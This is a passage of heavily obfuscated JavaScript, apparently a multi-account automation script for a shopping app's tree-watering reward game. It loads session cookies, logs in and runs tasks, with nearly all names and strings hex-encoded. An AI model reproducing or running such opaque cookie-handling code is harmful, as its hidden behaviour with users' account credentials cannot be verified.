81f,0xb52,0x104b,'\x6b\x59\x6b\x44')+_0x2bdf96('\x50\x21\x6c\x48',0xe1c,0x517,0xfee,0xe10)+_0x1b03aa(0x11e6,'\x78\x45\x43\x4d',0xc18,0x552,0xd30)+_0x4818cc(0x7b0,'\x36\x57\x6b\x69',0xd87,0xa42,0xdaf)+_0x4818cc(0x131f,'\x66\x66\x76\x75',0x10f4,0x1169,0x1b93),'\x50\x51\x41\x43\x76':_0x4818cc(0x1238,'\x45\x33\x6b\x40',0x1ac0,0x14a6,0x172b),'\x73\x69\x49\x4a\x52':function(_0x5db41c,_0x28137c){return _0x5db41c!==_0x28137c;},'\x42\x4b\x6d\x56\x48':_0x1b03aa(-0x2cf,'\x52\x59\x64\x49',0x202,0x805,0x851),'\x4f\x72\x53\x71\x50':function(_0x2f773d,_0x4ce54d){return _0x2f773d+_0x4ce54d;},'\x4c\x50\x75\x74\x77':function(_0x534b5c){return _0x534b5c();},'\x73\x6c\x64\x4d\x61':function(_0x21538c){return _0x21538c();},'\x50\x71\x41\x6f\x53':function(_0x571941){return _0x571941();},'\x4b\x6b\x58\x73\x44':function(_0x5c0b48,_0x13ad68){return _0x5c0b48===_0x13ad68;},'\x58\x44\x62\x51\x53':_0x433848(-0x9b,0x95b,'\x45\x33\x6b\x40',0x6db,0x1ea),'\x62\x6a\x43\x46\x73':_0x1b03aa(0x371,'\x6e\x70\x4f\x48',0x915,0x365,0xcea),'\x45\x71\x6e\x4a\x55':function(_0x8f7e74,_0x3bba51){return _0x8f7e74!==_0x3bba51;},'\x65\x4e\x73\x48\x7a':_0x3df8ef(0x1b5d,0xed3,0x12c5,0xbfd,'\x29\x52\x4b\x66'),'\x6c\x57\x4c\x5a\x6c':_0x433848(0x94f,0xe01,'\x4e\x54\x74\x26',0x14c9,0x1231),'\x69\x72\x6d\x64\x6c':function(_0x52a0b8,_0x394905){return _0x52a0b8==_0x394905;},'\x72\x57\x52\x72\x4d':_0x2bdf96('\x42\x23\x5e\x5b',0x70d,0x9e3,-0x112,0x92a)+_0x433848(0xe0d,0xfbf,'\x45\x24\x6c\x69',0x1623,0xe06)+_0x4818cc(0x11c3,'\x57\x73\x5d\x21',0x187a,0x16d6,0xe0c),'\x6b\x7a\x6c\x4b\x4e':function(_0x17624b,_0xb7966d){return _0x17624b===_0xb7966d;},'\x52\x6f\x56\x46\x69':_0x2bdf96('\x5d\x5d\x4d\x42',0xb8f,0xb2c,0x146e,0x6ec),'\x5a\x49\x4f\x67\x65':_0x1b03aa(0x740,'\x53\x41\x31\x35',0x8b6,0x930,0xcec),'\x66\x52\x50\x75\x53':function(_0xc42204,_0x3b1608){return _0xc42204+_0x3b1608;},'\x42\x42\x6d\x52\x44':function(_0x5f6848,_0x552d6a){return _0x5f6848+_0x552d6a;},'\x47\x42\x57\x72\x4b':_0x2bdf96('\x66\x66\x76\x75',0x456,-0x347,0xccf,0x3e2),'\x6d\x74\x57\x61\x59':_0x2bdf96('\x63\x66\x74\x31',0x94a,0x4d0,0xba7,0xb58)+_0x1b03aa(0xd79,'\x45\x24\x6c\x69',0xd55,0xe89,0xb85),'\x5a\x68\x54\x52\x70':function(_0x342de1,_0x1086ad){return _0x342de1>_0x1086ad;},'\x6c\x78\x79\x71\x6e':function(_0x46387b,_0x22fc27){return _0x46387b===_0x22fc27;},'\x77\x71\x53\x77\x56':_0x4818cc(0x11ab,'\x53\x28\x21\x51',0x16dc,0x98d,0x875),'\x55\x6e\x6e\x49\x46':_0x1b03aa(0x9b5,'\x66\x66\x76\x75',0xa9b,0x33e,0x662),'\x53\x73\x46\x45\x47':function(_0x2676bf,_0x5f04f6){return _0x2676bf-_0x5f04f6;},'\x45\x47\x6b\x73\x73':function(_0x11f204,_0x1036bb){return _0x11f204(_0x1036bb);},'\x75\x67\x56\x5a\x54':function(_0x495617,_0x3d09ac){return _0x495617+_0x3d09ac;},'\x59\x77\x79\x76\x61':_0x3df8ef(0x126a,0x150d,0xdfb,0xc4d,'\x78\x56\x67\x4f')+_0x4818cc(0xfb0,'\x78\x45\x43\x4d',0x1177,0x806,0x136f)+_0x433848(0x15e0,0x1285,'\x24\x6e\x5d\x79',0x176f,0x107a)+_0x433848(0x9c0,0x765,'\x36\x6c\x21\x41',0x8c9,0x1015),'\x4d\x6a\x79\x67\x4e':function(_0x3441f4,_0x14fe65){return _0x3441f4%_0x14fe65;},'\x6b\x6e\x44\x61\x66':function(_0x3808c3,_0x44be72){return _0x3808c3+_0x44be72;},'\x41\x4a\x66\x4c\x47':_0x433848(0xc46,0x64e,'\x24\x63\x6f\x37',0xce9,0x497),'\x6f\x46\x53\x75\x77':_0x3df8ef(0x1624,0x18aa,0xff2,0x10a0,'\x36\x6c\x21\x41')+_0x2bdf96('\x47\x38\x4e\x52',0x939,0x4ea,0x134,0xece),'\x6e\x54\x41\x42\x75':_0x3df8ef(0x14c0,0x1580,0x11c2,0xa27,'\x4f\x40\x44\x71'),'\x79\x55\x6c\x57\x42':_0x4818cc(0x9d2,'\x53\x28\x21\x51',0x845,0xfce,0x74b),'\x4e\x4f\x54\x6a\x46':_0x1b03aa(0xbcb,'\x78\x56\x67\x4f',0x3ca,0x4e2,0x610)+_0x4818cc(0x7ca,'\x53\x41\x31\x35',0xc84,0xe02,0x680),'\x6e\x53\x7a\x56\x57':function(_0x267235,_0xa77d58){return _0x267235+_0xa77d58;},'\x4b\x75\x75\x69\x42':_0x3df8ef(0x11c8,0x1a1b,0x1480,0x1a2e,'\x75\x5d\x54\x4f')+_0x3df8ef(0x1319,0x1ce6,0x16f0,0xfae,'\x50\x21\x6c\x48'),'\x68\x4f\x57\x43\x55':_0x433848(-0x85f,0x453,'\x42\x23\x5e\x5b',0x64a,0x44)+_0x433848(0x13f,0x136f,'\x65\x54\x72\x35',0x733,0xa61),'\x68\x64\x47\x71\x59':_0x3df8ef(0x1783,0x1253,0x1410,0x190b,'\x47\x28\x51\x45')+_0x1b03aa(0x1d1,'\x65\x54\x72\x35',0x9d8,0xc54,0x5e5)+_0x3df8ef(0x105e,0xa4a,0x9cb,0x3ec,'\x4f\x4f\x25\x29')+'\u25c6','\x7a\x49\x68\x63\x62':function(_0x248a28,_0x470dc7){return _0x248a28==_0x470dc7;},'\x73\x64\x4d\x62\x47':function(_0x3cb1f7,_0xae9111){return _0x3cb1f7(_0xae9111);},'\x4a\x73\x6f\x55\x42':function(_0x4425e4,_0x5da449){return _0x4425e4===_0x5da449;},'\x70\x4d\x6a\x45\x75':_0x433848(0x1429,0x9a6,'\x36\x6c\x21\x41',0x1558,0xccc),'\x42\x4f\x4e\x6a\x6c':_0x4818cc(0xec0,'\x5a\x30\x31\x38',0x11c8,0x13b6,0x1730)+_0x3df8ef(0x10c4,0x1555,0x170f,0x1d29,'\x45\x24\x6c\x69')+_0x1b03aa(0xe78,'\x47\x28\x51\x45',0x6bf,0x905,0xfe1)+_0x2bdf96('\x29\x52\x4b\x66',0x3be,0x968,0x237,0xb3a)+_0x2bdf96('\x31\x5e\x34\x5a',0x76c,0x45a,0x40e,0x656)+_0x1b03aa(0x18e5,'\x33\x2a\x64\x68',0x12c3,0x175d,0x19ae)+_0x1b03aa(0x145d,'\x76\x78\x62\x62',0xfaf,0x1717,0x14e7)+_0x3df8ef(0x1955,0xc98,0x1560,0x19b1,'\x42\x23\x5e\x5b'),'\x57\x6c\x4c\x4d\x79':_0x2bdf96('\x29\x52\x4b\x66',0x6db,0xc57,0x7d1,0x94)+_0x433848(0x947,0x423,'\x57\x38\x4f\x70',0xc09,0x5dc)+_0x3df8ef(0xcd7,0x1229,0x1475,0x1a69,'\x47\x28\x51\x45')+'\x6e','\x55\x76\x65\x44\x6f':_0x4818cc(0x9f9,'\x52\x59\x64\x49',0x8ae,0x1258,0x960)+_0x4818cc(0x1035,'\x24\x6e\x5d\x79',0xb64,0x150d,0x1251)};function _0x3df8ef(_0x1742ff,_0x10734c,_0x4f0b56,_0x4f943a,_0xc1205){return _0x43f741(_0x4f0b56-0x2b5,_0x10734c-0x1f4,_0xc1205,_0x4f943a-0x19f,_0xc1205-0x1f4);}if(_0x1b2afc[_0x4818cc(0xe73,'\x6d\x57\x5a\x29',0x6cd,0x1066,0x7ea)](cookies[_0x4818cc(0x8b8,'\x62\x77\x6a\x54',0x6b,0x343,0x1ec)+'\x68'],-0x2*0x10ce+-0x184c+0x4*0xe7a)){if(_0x1b2afc[_0x2bdf96('\x42\x23\x5e\x5b',0xa85,0x740,0x249,0x82d)](_0x1b2afc[_0x2bdf96('\x36\x70\x67\x64',0x370,-0x408,-0x231,0xe2)],_0x1b2afc[_0x1b03aa(-0x26,'\x53\x28\x21\x51',0x730,0xed1,-0x45)]))_0x343a89+=_0x1b2afc[_0x3df8ef(0x1a0f,0xfb0,0x1444,0xd9c,'\x53\x28\x21\x51')](_0x1b2afc[_0x4818cc(0xa02,'\x75\x5d\x54\x4f',0xbe1,0x5a9,0x10d0)](_0x1b2afc[_0x3df8ef(0x1ab2,0xd93,0x166f,0x1c98,'\x32\x49\x5b\x49')](_0x1b2afc[_0x4818cc(0x10dd,'\x33\x2a\x64\x68',0x13f4,0x1523,0xaae)](_0x1b2afc[_0x1b03aa(0x12b1,'\x76\x25\x48\x64',0xc87,0x1446,0xe76)],_0x4d92d1),_0x1b2afc[_0x4818cc(0x358,'\x29\x52\x4b\x66',-0x509,-0xa2,-0x556)]),_0x253b6a[_0x2bdf96('\x35\x37\x26\x25',0x3d1,-0x180,0xbeb,0x17d)+'\x74'][_0x2bdf96('\x77\x40\x43\x59',0x1f8,-0x74e,0xa7,-0x11d)+_0x1b03aa(0xf06,'\x4a\x61\x70\x57',0x9b4,0x676,0x2c5)+_0x433848(0x9de,0x10a6,'\x4a\x61\x70\x57',0x725,0xd01)+_0x3df8ef(0x126f,0x16ab,0xfa3,0x784,'\x41\x43\x59\x76')][_0x2bdf96('\x47\x28\x51\x45',0xc9c,0x3ee,0x1117,0x1168)+_0x433848(0xb81,0x1295,'\x41\x43\x59\x76',0x1230,0xad1)]),_0x1b2afc[_0x433848(0x5d8,0x78a,'\x5a\x30\x31\x38',0x1261,0xafd)]);else{if($[_0x2bdf96('\x66\x66\x76\x75',0xc13,0xa07,0x6a5,0xfeb)][_0x2bdf96('\x36\x6c\x21\x41',0xe6e,0x8dd,0xfea,0x1264)+'\x65']){if(_0x1b2afc[_0x3df8ef(0x5b3,0xc35,0xe38,0x618,'\x42\x23\x5e\x5b')](_0x1b2afc[_0x2bdf96('\x6d\x5e\x6e\x43',0xe02,0x68e,0x11f0,0x52f)],_0x1b2afc[_0x4818cc(0xb98,'\x47\x28\x51\x45',0xb51,0x1080,0x10c6)])){_0x322441[_0x4818cc(0xc6f,'\x31\x5e\x34\x5a',0x531,0xb4d,0xe09)](_0x1b2afc[_0x1b03aa(0xdcd,'\x35\x37\x26\x25',0x111d,0x1532,0x1352)]);return;}else{if(process[_0x433848(0x876,0x8b5,'\x47\x28\x51\x45',0x10a2,0x78a)][_0x1b03aa(0x1230,'\x4a\x61\x70\x57',0x1299,0x1aee,0xffb)+_0x2bdf96('\x32\x49\x5b\x49',0xf81,0xb14,0x8d6,0x1745)+'\x48'])ckPath=process[_0x433848(0x1614,0xb71,'\x6d\x57\x5a\x29',0xc0b,0x1004)][_0x1b03aa(0x1257,'\x62\x77\x6a\x54',0x13b1,0x15e1,0x14bb)+_0x2bdf96('\x5a\x30\x31\x38',0x8b3,0xa4d,0x51b,0xd07)+'\x48'];delete require[_0x4818cc(0x288,'\x5a\x30\x31\x38',0x5e3,-0x28e,-0x24b)][ckPath];let _0x213d57=_0x1b2afc[_0x4818cc(0x51d,'\x78\x56\x67\x4f',0x43d,0x1eb,0x23a)](require,ckPath);for(let _0x4d4768 in _0x213d57)if(!!_0x213d57[_0x4d4768])cookies[_0x3df8ef(0x730,0xc6c,0xd62,0x4a5,'\x42\x23\x5e\x5b')](_0x213d57[_0x4d4768]);}}else{if(_0x1b2afc[_0x2bdf96('\x4e\x54\x74\x26',0x5e2,-0x345,0x791,0x4c2)](_0x1b2afc[_0x3df8ef(0x1638,0x1b2f,0x121f,0x9d5,'\x78\x45\x43\x4d')],_0x1b2afc[_0x3df8ef(0x1151,0x29f,0x9cf,0xb78,'\x65\x54\x72\x35')]))_0x502d15[_0x3df8ef(0x414,-0x13a,0x4f6,0x449,'\x63\x66\x74\x31')](_0x5180d0[_0x23104c]);else{let _0x53407c=$[_0x433848(0x6f5,0xd02,'\x34\x62\x40\x70',0x859,0x3ff)](_0x1b2afc[_0x2bdf96('\x32\x49\x5b\x49',0x1149,0x1186,0x1088,0xc6d)]);if(!!_0x53407c){if(_0x1b2afc[_0x433848(0x1255,0x123e,'\x66\x66\x76\x75',0xdbe,0xca5)](_0x1b2afc[_0x1b03aa(0x16e3,'\x52\x59\x64\x49',0x1386,0x193b,0xa76)],_0x1b2afc[_0x433848(0x635,0x9e8,'\x31\x5e\x34\x5a',0x15bb,0xccf)])){if(_0x1b2afc[_0x3df8ef(0x975,0x2ef,0x504,-0x38f,'\x36\x6c\x21\x41')](_0x53407c[_0x4818cc(0xab0,'\x34\x62\x40\x70',0x1fc,0x820,0x459)+'\x4f\x66']('\x2c'),0x19fb+-0x1390+-0x1*0x66b))cookies[_0x4818cc(0x5cd,'\x24\x6e\x5d\x79',0x1e,-0x252,0x7b9)](_0x53407c);else cookies=_0x53407c[_0x2bdf96('\x6d\x5e\x6e\x43',0xd10,0x13ef,0x4c6,0xae7)]('\x2c');}else _0x420d48+=_0x1b2afc[_0x1b03aa(0xb72,'\x63\x66\x74\x31',0x6a2,0x213,0x710)](_0x56f93e[_0x1b03aa(0xb70,'\x52\x59\x64\x49',0x526,0xb47,0x791)+_0x433848(0x105f,0x8e9,'\x57\x73\x5d\x21',0x120c,0xb53)],'\x2c');}}}}}function _0x1b03aa(_0x5918d8,_0x4fc8be,_0x23574d,_0x468815,_0x1783b6){return _0x43f741(_0x23574d- -0x6,_0x4fc8be-0x41,_0x4fc8be,_0x468815-0x37,_0x1783b6-0xa7);}if(_0x1b2afc[_0x4818cc(0x10b8,'\x5a\x30\x31\x38',0xc42,0xc18,0x1250)](cookies[_0x4818cc(0x4f0,'\x24\x63\x6f\x37',-0x41a,0x550,0x36c)+'\x68'],0x219+-0x3*0x1b5+0x306)){if(_0x1b2afc[_0x2bdf96('\x6b\x59\x6b\x44',-0xf2,0x396,-0x4e6,0x553)](_0x1b2afc[_0x1b03aa(0x9bc,'\x36\x6c\x21\x41',0xd1a,0x1168,0x5e8)],_0x1b2afc[_0x1b03aa(0xaa1,'\x66\x66\x76\x75',0x415,-0x1d8,-0x3b)])){console[_0x3df8ef(0x183d,0x1d27,0x1478,0x1b31,'\x53\x41\x31\x35')](_0x1b2afc[_0x4818cc(0xdc7,'\x4e\x54\x74\x26',0x146d,0x157a,0x593)]);return;}else _0x5b3eba[_0x31b643[0x270+-0x1a*0xb2+0xfa4]]=_0x379330[-0x23df+-0x47*0x50+0x3a10],_0x84e49a[_0x3df8ef(0x1bf6,0x17ca,0x129c,0x1088,'\x33\x2a\x64\x68')](_0x29acf6[0x83*0x26+-0x1*0x1bc7+0x9*0xed]);}if(!$[_0x3df8ef(0x17dd,0x193c,0x154e,0xc13,'\x4f\x40\x44\x71')][_0x3df8ef(0x16b4,0x11ab,0x1494,0x1005,'\x41\x43\x59\x76')+'\x65'])isNotify=$[_0x4818cc(0x132e,'\x77\x40\x43\x59',0xb5d,0xd48,0x1477)](_0x1b2afc[_0x1b03aa(0x14b0,'\x4f\x4f\x25\x29',0x10ec,0x84a,0x1272)]);else notify=_0x1b2afc[_0x2bdf96('\x46\x6f\x5e\x6c',0x108b,0xb45,0x1186,0xb2c)](require,_0x1b2afc[_0x1b03aa(0xb23,'\x78\x56\x67\x4f',0x1f6,0xb01,-0x3)]);function _0x2bdf96(_0x1e02df,_0x8733f1,_0x16018d,_0x210aa2,_0x391c2a){return _0x1e1b73(_0x1e02df-0x4a,_0x8733f1-0x166,_0x1e02df,_0x8733f1- -0x4c0,_0x391c2a-0xdf);}function _0x4818cc(_0x282eaa,_0x2f854e,_0x58e8ec,_0x5b928e,_0x11fae5){return _0x43f741(_0x282eaa- -0xa4,_0x2f854e-0xb3,_0x2f854e,_0x5b928e-0x127,_0x11fae5-0x67);}let _0x1b718a=_0x1b2afc[_0x1b03aa(0x27f,'\x53\x34\x6c\x29',0x640,0x797,0xbfb)](cookies[_0x3df8ef(0x1192,0xd51,0x152a,0x1291,'\x6d\x5e\x6e\x43')+'\x68'],Math[_0x1b03aa(0x1371,'\x5a\x30\x31\x38',0x1325,0xdd9,0x1199)](-0x1fd7+-0x52d+-0x2*-0x134a))?Math[_0x2bdf96('\x35\x37\x26\x25',0xe0b,0xcac,0x12f5,0x765)](-0x2f*0x8b+0x4c2+0x1653):cookies[_0x2bdf96('\x53\x78\x42\x55',0xde5,0x85d,0xf08,0x103c)+'\x68'];function _0x433848(_0x57c928,_0x58ef13,_0xf1a003,_0x2686f5,_0x2cac6c){return _0x353885(_0xf1a003,_0x58ef13-0x127,_0xf1a003-0x18e,_0x2686f5-0x114,_0x2cac6c- -0x3ba);}for(let _0x1a8ae6=0x2*-0x108d+-0x1bf5+0xcb*0x4d;_0x1b2afc[_0x4818cc(0x1339,'\x52\x59\x64\x49',0x15f5,0x1a4f,0xcee)](_0x1a8ae6,_0x1b718a);_0x1a8ae6++){if(_0x1b2afc[_0x2bdf96('\x5d\x78\x21\x39',0xf25,0xb31,0xed8,0x770)](_0x1b2afc[_0x1b03aa(0x11f1,'\x24\x63\x6f\x37',0xf1c,0xd65,0x166a)],_0x1b2afc[_0x433848(0x9e2,0x3f7,'\x4f\x40\x44\x71',0x898,0x199)]))_0x1504cb=_0x1b2afc[_0x433848(0x26a,0x4ff,'\x53\x41\x31\x35',0x13d2,0xad5)](_0x1b2afc[_0x2bdf96('\x53\x34\x6c\x29',0xc33,0x149b,0xcb0,0xc05)](_0x497db1[_0x433848(-0x29,0x7a3,'\x47\x38\x4e\x52',-0x2ab,0x15)],_0x1b2afc[_0x4818cc(0x882,'\x5a\x30\x31\x38',0xcac,0xc66,0xc46)]),_0x1f7071[_0x1b03aa(0xda5,'\x57\x73\x5d\x21',0x104c,0x12e8,0xf56)+'\x74'][_0x3df8ef(0x129c,0xc13,0xe8d,0xc87,'\x66\x66\x76\x75')+_0x4818cc(0x1247,'\x32\x49\x5b\x49',0x16d3,0x1460,0x17b2)]);else{console[_0x433848(0xef8,-0x225,'\x5d\x5d\x4d\x42',0xd4e,0x645)](_0x1b2afc[_0x4818cc(0xbb9,'\x75\x5d\x54\x4f',0x55b,0x85a,0x84e)](_0x1b2afc[_0x1b03aa(0x5e1,'\x45\x33\x6b\x40',0xda8,0x11af,0x5b1)](_0x1b2afc[_0x433848(-0x86b,-0x31d,'\x53\x34\x6c\x29',0x4fb,0x2b)](_0x1b2afc[_0x3df8ef(-0x22,0x51c,0x4e8,0x51b,'\x75\x5d\x54\x4f')](_0x1b2afc[_0x4818cc(0xcaa,'\x50\x21\x6c\x48',0xd7e,0x844,0x4c5)],_0x1b2afc[_0x433848(-0x3bf,-0x42d,'\x41\x43\x59\x76',-0x186,0x197)](_0x1a8ae6,-0x4*-0x14b+-0x364*-0x4+-0x12bb)),_0x1b2afc[_0x4818cc(0x1182,'\x6b\x59\x6b\x44',0x14b4,0x1371,0x152a)]),cookies[_0x2bdf96('\x6b\x59\x6b\x44',0x1039,0x15ba,0x844,0x195a)+'\x68']),_0x1b2afc[_0x4818cc(0x70a,'\x66\x66\x76\x75',0x5f1,0xd26,0x892)])),thiscookie=cookies[_0x1a8ae6];if(!thiscookie)continue;waterNum=0x377*-0x1+0x41c*0x8+-0x1*0x1d69,waterTimes=-0x1e52+-0x1086*-0x1+0xdcc*0x1,thiscookie=thiscookie[_0x2bdf96('\x4f\x40\x44\x71',0x5d6,0x928,0x154,0x187)+'\x63\x65'](/ /g,'')[_0x4818cc(0xb70,'\x52\x7a\x58\x2a',0x21d,0x99c,0x700)+'\x63\x65'](/\n/g,''),thiscookie=await _0x1b2afc[_0x2bdf96('\x24\x63\x6f\x37',0xdd2,0xcd2,0x510,0x128d)](taskLoginUrl,thiscookie);if(!thiscookie){if(_0x1b2afc[_0x433848(-0x595,0x8fd,'\x4f\x4f\x25\x29',0x669,0x7a)](_0x1b2afc[_0x1b03aa(0x110d,'\x53\x28\x21\x51',0x104d,0xa05,0x133b)],_0x1b2afc[_0x1b03aa(0xa31,'\x78\x56\x67\x4f',0x1112,0xb60,0x15a9)]))_0xae1ea=_0x161eaa[_0x433848(0xa57,-0x12c,'\x29\x52\x4b\x66',-0x2aa,0x5ed)+'\x72'](0x1fb3+0x5e9+-0x259c,_0x1b2afc[_0x2bdf96('\x5d\x78\x21\x39',0xa08,0xfaf,0xeb8,0x954)](_0x37b344[_0x2bdf96('\x31\x5e\x34\x5a',0x66a,0x883,0xf8b,0xa31)+'\x68'],0x1*0xf76+-0xc9f+-0xb*0x42)),_0x4a6047=_0x13a5e6[_0x433848(0x160b,0x121c,'\x31\x5e\x34\x5a',0x921,0xf2e)]('\x2c');else{console[_0x2bdf96('\x78\x56\x67\x4f',0xdc5,0xcde,0xbed,0x521)](_0x1b2afc[_0x2bdf96('\x57\x38\x4f\x70',0xae5,0x311,0x242,0xea5)]);continue;}}let _0x1aba97=await _0x1b2afc[_0x1b03aa(0x15f0,'\x24\x63\x6f\x37',0x1067,0x192e,0xbb3)](userinfo);if(_0x1b2afc[_0x433848(0xdc5,0x553,'\x24\x6e\x5d\x79',0x15e9,0xe3f)](_0x1aba97,0xa88+0x3*0x1d3+-0x1001)){if(_0x1b2afc[_0x2bdf96('\x41\x43\x59\x76',0x6ee,0x7b6,0x721,0xbd5)](_0x1b2afc[_0x433848(-0x4fa,-0x4ba,'\x29\x52\x4b\x66',0x768,0x104)],_0x1b2afc[_0x4818cc(0x3a4,'\x6b\x59\x6b\x44',0x624,0x2e2,0x9df)])){$[_0x433848(0xe43,0x306,'\x6e\x70\x4f\x48',0x307,0xa5f)+'\x79'](_0x1b2afc[_0x4818cc(0x12bd,'\x31\x5e\x34\x5a',0x1355,0x189f,0x1ae5)](_0x1b2afc[_0x4818cc(0x59b,'\x5d\x78\x21\x39',-0x5,0xca8,0xe3c)]('\u7b2c',_0x1b2afc[_0x1b03aa(0x481,'\x53\x34\x6c\x29',0x2a9,0xada,-0x17b)](_0x1a8ae6,0xfd1+-0x26c3+-0x497*-0x5)),_0x1b2afc[_0x1b03aa(0x148c,'\x41\x43\x59\x76',0x10a6,0xb7f,0x18f2)]),_0x1b2afc[_0x2bdf96('\x46\x6f\x5e\x6c',0x593,0xc6,0x631,0x430)],{'\x75\x72\x6c':_0x1b2afc[_0x1b03aa(0xd3b,'\x36\x6c\x21\x41',0x71f,0xfc0,0xcda)]});$[_0x2bdf96('\x53\x28\x21\x51',0x10e6,0x978,0x964,0x1762)][_0x4818cc(0x25a,'\x6b\x59\x6b\x44',0x141,0x645,-0x30)+'\x65']&&_0x1b2afc[_0x4818cc(0x537,'\x57\x38\x4f\x70',-0xb6,0xd9a,0x592)](_0x1b2afc[_0x4818cc(0xce8,'\x73\x48\x6e\x6e',0x8a5,0x1409,0xe61)](_0x1b2afc[_0x4818cc(0xc21,'\x36\x70\x67\x64',0x151a,0x3bd,0xcac)]('',isNotify),''),_0x1b2afc[_0x433848(0xc1b,0xd74,'\x6d\x57\x5a\x29',0xeb3,0xea1)])&&(_0x1b2afc[_0x1b03aa(0x956,'\x24\x6e\x5d\x79',0x293,-0x373,0x8d3)](_0x1b2afc[_0x1b03aa(0xe01,'\x32\x49\x5b\x49',0xf5a,0x87d,0x6c6)],_0x1b2afc[_0x1b03aa(0xb2b,'\x45\x24\x6c\x69',0xdee,0x15a5,0x673)])?_0x28d78f=_0x1b2afc[_0x2bdf96('\x52\x59\x64\x49',0x1c2,0x78a,-0xe7,-0x46a)](_0x1b2afc[_0x433848(-0x108,0x713,'\x78\x56\x67\x4f',-0x524,0x206)](_0x130885[_0x1b03aa(-0x211,'\x5d\x78\x21\x39',0x4da,0x71b,0x734)],_0x1b2afc[_0x4818cc(0x3d2,'\x36\x57\x6b\x69',0x98,-0x186,0x42e)]),_0x1c2d30[_0x4818cc(0xdb3,'\x47\x28\x51\x45',0x11bc,0x13ed,0xba9)+'\x74'][_0x4818cc(0x76d,'\x6e\x70\x4f\x48',0xd03,0x302,0x713)+_0x1b03aa(-0x27b,'\x31\x5e\x34\x5a',0x547,0xb51,0x8f0)]):await notify[_0x1b03aa(0xa73,'\x77\x40\x43\x59',0x1dd,0xa2a,0x341)+_0x433848(0xd80,0xdc6,'\x57\x73\x5d\x21',0xd97,0x1272)](_0x1b2afc[_0x1b03aa(0xfb8,'\x4e\x54\x74\x26',0x1357,0xb04,0xfcc)](_0x1b2afc[_0x4818cc(0xbf0,'\x57\x73\x5d\x21',0xa28,0x4e0,0x1113)]('\u7b2c',_0x1b2afc[_0x1b03aa(0x99f,'\x35\x37\x26\x25',0xbf5,0x7bd,0x2ab)](_0x1a8ae6,0x2c*0xd4+-0xd*-0x11b+-0x32ce)),_0x1b2afc[_0x3df8ef(0x1542,0x12aa,0x1386,0x1075,'\x78\x45\x43\x4d')]),_0x1b2afc[_0x433848(-0x3ae,0x832,'\x4f\x40\x44\x71',0x3b6,0x12d)]));continue;}else _0xdf931e=_0x1b2afc[_0x4818cc(0x1ea,'\x76\x25\x48\x64',0x586,-0x109,-0x48c)](_0x1b2afc[_0x3df8ef(0xce3,0x144,0x896,0xe8d,'\x57\x38\x4f\x70')](_0x19c138[_0x3df8ef(0x14e5,0x1358,0x10a4,0xd25,'\x57\x38\x4f\x70')],_0x1b2afc[_0x4818cc(0x3d2,'\x36\x57\x6b\x69',0x837,0x5fb,-0x2b)]),_0x853e90[_0x433848(-0x2a5,-0x5b,'\x57\x38\x4f\x70',-0x77,0x656)+'\x74'][_0x2bdf96('\x65\x54\x72\x35',0x384,-0x2f3,0x7e9,0xae2)+_0x4818cc(0x4c6,'\x47\x28\x51\x45',0x940,-0xea,-0x44c)]);}await $[_0x433848(0xf5,0x504,'\x77\x40\x43\x59',0xad8,0x594)](-0x1047*0x2+-0x19b2+0x3e28),await _0x1b2afc[_0x2bdf96('\x6d\x5e\x6e\x43',0xbe5,0x110c,0xb87,0x1479)](treeInfo,-0x1*-0x15fb+-0x1410+-0x1eb),await $[_0x1b03aa(0xa09,'\x6b\x5e\x4e\x4d',0x342,0x35f,0xc91)](-0x25b*-0xf+0x1abf+-0x3a2c);let _0x268d45=await _0x1b2afc[_0x433848(0x161f,0x848,'\x5d\x5d\x4d\x42',0xe2c,0xd8f)](taskList);await $[_0x1b03aa(0xc7f,'\x52\x7a\x58\x2a',0x102b,0x723,0x18f9)](0x16c+-0x606*-0x3+-0xf96),await _0x1b2afc[_0x4818cc(0x639,'\x63\x66\x74\x31',0x5ac,-0x8f,-0x1e3)](waterBottle),await $[_0x4818cc(0x6c0,'\x29\x52\x4b\x66',0xcd,0xe86,-0x22a)](0x15f*-0x7+0x9*0x28d+-0x974),await _0x1b2afc[_0x4818cc(0x3a1,'\x33\x2a\x64\x68',0xbd,-0x469,0x7d6)](runTask,_0x268d45),await $[_0x4818cc(0xf8d,'\x52\x7a\x58\x2a',0x95b,0x9c5,0xfb4)](-0x1e8*0x2+-0x54*-0x61+-0x181c),await _0x1b2afc[_0x4818cc(0x88b,'\x45\x24\x6c\x69',-0x14,0x846,0x1132)](zhuLi),await $[_0x3df8ef(0x149b,0xdb2,0x13d6,0x1a2f,'\x6d\x57\x5a\x29')](-0x10d6+-0x21f4+0x36b2),await _0x1b2afc[_0x2bdf96('\x5d\x5d\x4d\x42',0xf10,0x1344,0x79f,0x845)](water),await $[_0x4818cc(0xeff,'\x31\x5e\x34\x5a',0x5dd,0x14d7,0x1198)](-0x1c39*0x1+-0x1d10+0x3d31),hzstr='',_0x268d45=await _0x1b2afc[_0x3df8ef(0xeb7,0x123f,0x947,0xabf,'\x47\x38\x4e\x52')](taskList);if(_0x268d45&&_0x268d45[_0x1b03aa(0xb7f,'\x47\x38\x4e\x52',0x2ea,-0x1dd,0xac7)+'\x74']&&_0x268d45[_0x2bdf96('\x76\x25\x48\x64',0xb25,0x97f,0x146b,0x410)+'\x74'][_0x433848(0x1037,0xd11,'\x45\x24\x6c\x69',0x51d,0x97c)+_0x4818cc(0xe31,'\x36\x6c\x21\x41',0xdca,0xa58,0x7ff)+'\x73\x74']){if(_0x1b2afc[_0x433848(0x53f,0x1001,'\x33\x2a\x64\x68',0x344,0x8f0)](_0x1b2afc[_0x2bdf96('\x53\x41\x31\x35',0x109a,0xbc1,0x1494,0x906)],_0x1b2afc[_0x433848(0x14e8,0x659,'\x6b\x59\x6b\x44',0x1163,0xd20)])){if(_0xa2285){const _0x2eddda=_0x1d895d[_0x433848(0x9cd,0xb9f,'\x73\x48\x6e\x6e',0xc43,0x491)](_0x3ef0e6,arguments);return _0xc16bc3=null,_0x2eddda;}}else for(let 